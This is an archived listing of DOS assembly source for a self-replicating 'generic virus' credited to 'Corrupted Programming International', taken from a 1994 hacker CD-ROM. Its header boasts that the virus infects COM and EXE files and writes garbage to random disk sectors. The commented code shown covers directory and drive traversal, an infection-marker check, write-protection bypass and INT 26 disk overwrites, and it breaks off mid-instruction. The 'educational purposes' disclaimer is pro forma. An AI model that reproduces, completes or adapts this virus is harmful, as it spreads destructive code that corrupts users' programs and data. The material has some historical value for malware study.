home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / CPI2_5.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  12KB  |  262 lines

  1. ;=============================================================================
  2. ;
  3. ;                                    C*P*I
  4. ;
  5. ;                     CORRUPTED PROGRAMMING INTERNATIONAL
  6. ;                     -----------------------------------
  7. ;                               p r e s e n t s
  8. ;
  9. ;                                    T H E
  10. ;                              _                 _
  11. ;                             (g) GENERIC VIRUS (g)
  12. ;                              ^                 ^
  13. ;
  14. ;
  15. ; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF
  16. ;   CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT
  17. ; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR ╥PROGRAM TO BIG TO
  18. ;    FIT IN MEMORY╙ THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS.
  19. ;
  20. ; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON
  21. ;                     THE DISK. HAVE PHUN WITH THIS ONE.
  22. ;
  23. ;  ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE
  24. ;  IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING.
  25. ;
  26. ;  THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE
  27. ;   HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF
  28. ;  THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR
  29. ;             ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE.
  30. ;
  31. ;                                                        DOCTOR DISSECTOR
  32. ;                                                        CPI ASSOCIATES
  33. ;
  34. ;=============================================================================
  35.  
  36. MAIN:
  37.       NOP                       ;| Marker bytes that identify this program
  38.       NOP                       ;| as infected/a virus
  39.       NOP                       ;|
  40.  
  41.       MOV AX,00                 ;| Initialize the pointers
  42.       MOV ES:[POINTER],AX       ;|
  43.       MOV ES:[COUNTER],AX       ;|
  44.       MOV ES:[DISKS B],AL       ;|
  45.  
  46.       MOV AH,19                 ;| Get the selected drive (dir?)
  47.       INT 21                    ;|
  48.  
  49.       MOV CS:DRIVE,AL           ;| Get current path (save drive)
  50.       MOV AH,47                 ;| (dir?)
  51.       MOV DH,0                  ;|
  52.       ADD AL,1                  ;|
  53.       MOV DL,AL                 ;| (in actual drive)
  54.       LEA SI,CS:OLD_PATH        ;|
  55.       INT 21                    ;|
  56.  
  57.       MOV AH,0E                 ;| Find # of drives 
  58.       MOV DL,0                  ;|
  59.       INT 21                    ;|
  60.       CMP AL,01                 ;| (Check if only one drive)
  61.       JNZ HUPS3                 ;| (If not one drive, go the HUPS3)
  62.       MOV AL,06                 ;| Set pointer to SEARCH_ORDER +6 (one drive)
  63.  
  64.       HUPS3: MOV AH,0           ;| Execute this if there is more than 1 drive
  65.       LEA BX,SEARCH_ORDER       ;|
  66.       ADD BX,AX                 ;|
  67.       ADD BX,0001               ;|
  68.       MOV CS:POINTER,BX         ;|
  69.       CLC                       ;|
  70.  
  71. CHANGE_DISK:                    ;| Carry is set if no more .COM files are
  72.       JNC NO_NAME_CHANGE        ;| found. From here, .EXE files will be
  73.       MOV AH,17                 ;| renamed to .COM (change .EXE to .COM)
  74.       LEA DX,CS:MASKE_EXE       ;| but will cause the error message ╥Program  
  75.       INT 21                    ;| to large to fit in memory╙ when starting
  76.       CMP AL,0FF                ;| larger infected programs
  77.       JNZ NO_NAME_CHANGE        ;| (Check if an .EXE is found)
  78.  
  79.       MOV AH,2CH                ;| If neither .COM or .EXE files can be found,
  80.       INT 21                    ;| then random sectors on the disk will be
  81.       MOV BX,CS:POINTER         ;| overwritten depending on the system time
  82.       MOV AL,CS:[BX]            ;| in milliseconds. This is the time of the
  83.       MOV BX,DX                 ;| complete ╥infection╙ of a storage medium.
  84.       MOV CX,2                  ;| The virus can find nothing more to infect
  85.       MOV DH,0                  ;| starts its destruction.
  86.       INT 26                    ;| (write crap on disk)
  87.  
  88. NO_NAME_CHANGE:                 ;| Check if the end of the search order table
  89.       MOV BX,CS:POINTER         ;| has been reached. If so, end.
  90.       DEC BX                    ;|
  91.       MOV CS:POINTER,BX         ;|
  92.       MOV DL,CS:[BX]            ;|
  93.       CMP DL,0FF                ;|
  94.       JNZ HUPS2                 ;|
  95.       JMP HOPS                  ;|
  96.       
  97. HUPS2:                          ;| Get a new drive from the search order table
  98.       MOV AH,0E                 ;| and select it, beginning with the ROOT dir.
  99.       INT 21                    ;| (change drive)
  100.       MOV AH,3B                 ;| (change path)
  101.       LEA DX,PATH               ;|
  102.       INT 21                    ;|
  103.       JMP FIND_FIRST_FILE       ;|
  104.  
  105. FIND_FIRST_SUBDIR:              ;| Starting from the root, search for the
  106.       MOV AH,17                 ;| first subdir. First, (change .exe to .com)
  107.       LEA DX,CS:MASKE_EXE       ;| convert all .EXE files to .COM in the
  108.       INT 21                    ;| old directory.
  109.       MOV AH,3B                 ;| (use root directory)
  110.       LEA DX,PATH               ;|
  111.       INT 21                    ;|
  112.       MOV AH,04E                ;| (search for first subdirectory)
  113.       MOV CX,00010001B          ;| (dir mask)
  114.       LEA DX,MASKE_DIR          ;|
  115.       INT 21                    ;|
  116.       JC CHANGE_DISK            ;|
  117.       MOV BX,CS:COUNTER         ;|
  118.       INC BX                    ;|
  119.       DEC BX                    ;|
  120.       JZ  USE_NEXT_SUBDIR       ;|
  121.  
  122. FIND_NEXT_SUBDIR:               ;| Search for the next sub-dir, if no more
  123.       MOV AH,4FH                ;| are found, the (search for next subdir)
  124.       INT 21                    ;| drive will be changed.
  125.       JC CHANGE_DISK            ;|
  126.       DEC BX                    ;|
  127.       JNZ FIND_NEXT_SUBDIR      ;|
  128.  
  129. USE_NEXT_SUBDIR:      
  130.       MOV AH,2FH                ;| Select found directory. (get dta address)
  131.       INT 21                    ;|
  132.       ADD BX,1CH                ;|
  133.       MOV ES:[BX],W╙\╙          ;| (address of name in dta)
  134.       INC BX                    ;|
  135.       PUSH DS                   ;|
  136.       MOV AX,ES                 ;|
  137.       MOV DS,AX                 ;|
  138.       MOV DX,BX                 ;|
  139.       MOV AH,3B                 ;| (change path)
  140.       INT 21                    ;|
  141.       POP DS                    ;|
  142.       MOV BX,CS:COUNTER         ;|
  143.       INC BX                    ;|
  144.       MOV CS:COUNTER,BX         ;|
  145.  
  146. FIND_FIRST_FILE:                ;| Find first .COM file in the current dir.
  147.       MOV AH,04E                ;| If there are none, (Search for first)
  148.       MOV CX,00000001B          ;| search the next directory. (mask)
  149.       LEA DX,MASKE_COM          ;|
  150.       INT 21                    ;|
  151.       JC FIND_FIRST_SUBDIR      ;|
  152.       JMP CHECK_IF_ILL          ;|
  153.  
  154. FIND_NEXT_FILE:                 ;| If program is ill (infected) then search
  155.       MOV AH,4FH                ;| for another. (search for next)
  156.       INT 21                    ;|
  157.       JC FIND_FIRST_SUBDIR      ;|
  158.  
  159. CHECK_IF_ILL:                   ;| Check if already infected by virus.
  160.       MOV AH,3D                 ;| (open channel)
  161.       MOV AL,02                 ;| (read/write)
  162.       MOV DX,9EH                ;| (address of name in dta)
  163.       INT 21                    ;|
  164.       MOV BX,AX                 ;| (save channel)
  165.       MOV AH,3FH                ;| (read file)
  166.       MOV CH,BUFLEN             ;|
  167.       MOV DX,BUFFER             ;| (write in buffer)
  168.       INT 21                    ;|
  169.       MOV AH,3EH                ;| (close file)
  170.       INT 21                    ;|
  171.       MOV BX,CS:[BUFFER]        ;| (look for three NOP╒s)
  172.       CMP BX,9090               ;| 
  173.       JZ FIND_NEXT_FILE         ;|
  174.  
  175.       MOV AH,43                 ;| This section by-passes (write enable)
  176.       MOV AL,0                  ;| the MS/PC DOS Write Protection.
  177.       MOV DX,9EH                ;| (address of name in dta)
  178.       INT 21                    ;|
  179.       MOV AH,43                 ;|
  180.       MOV AL,01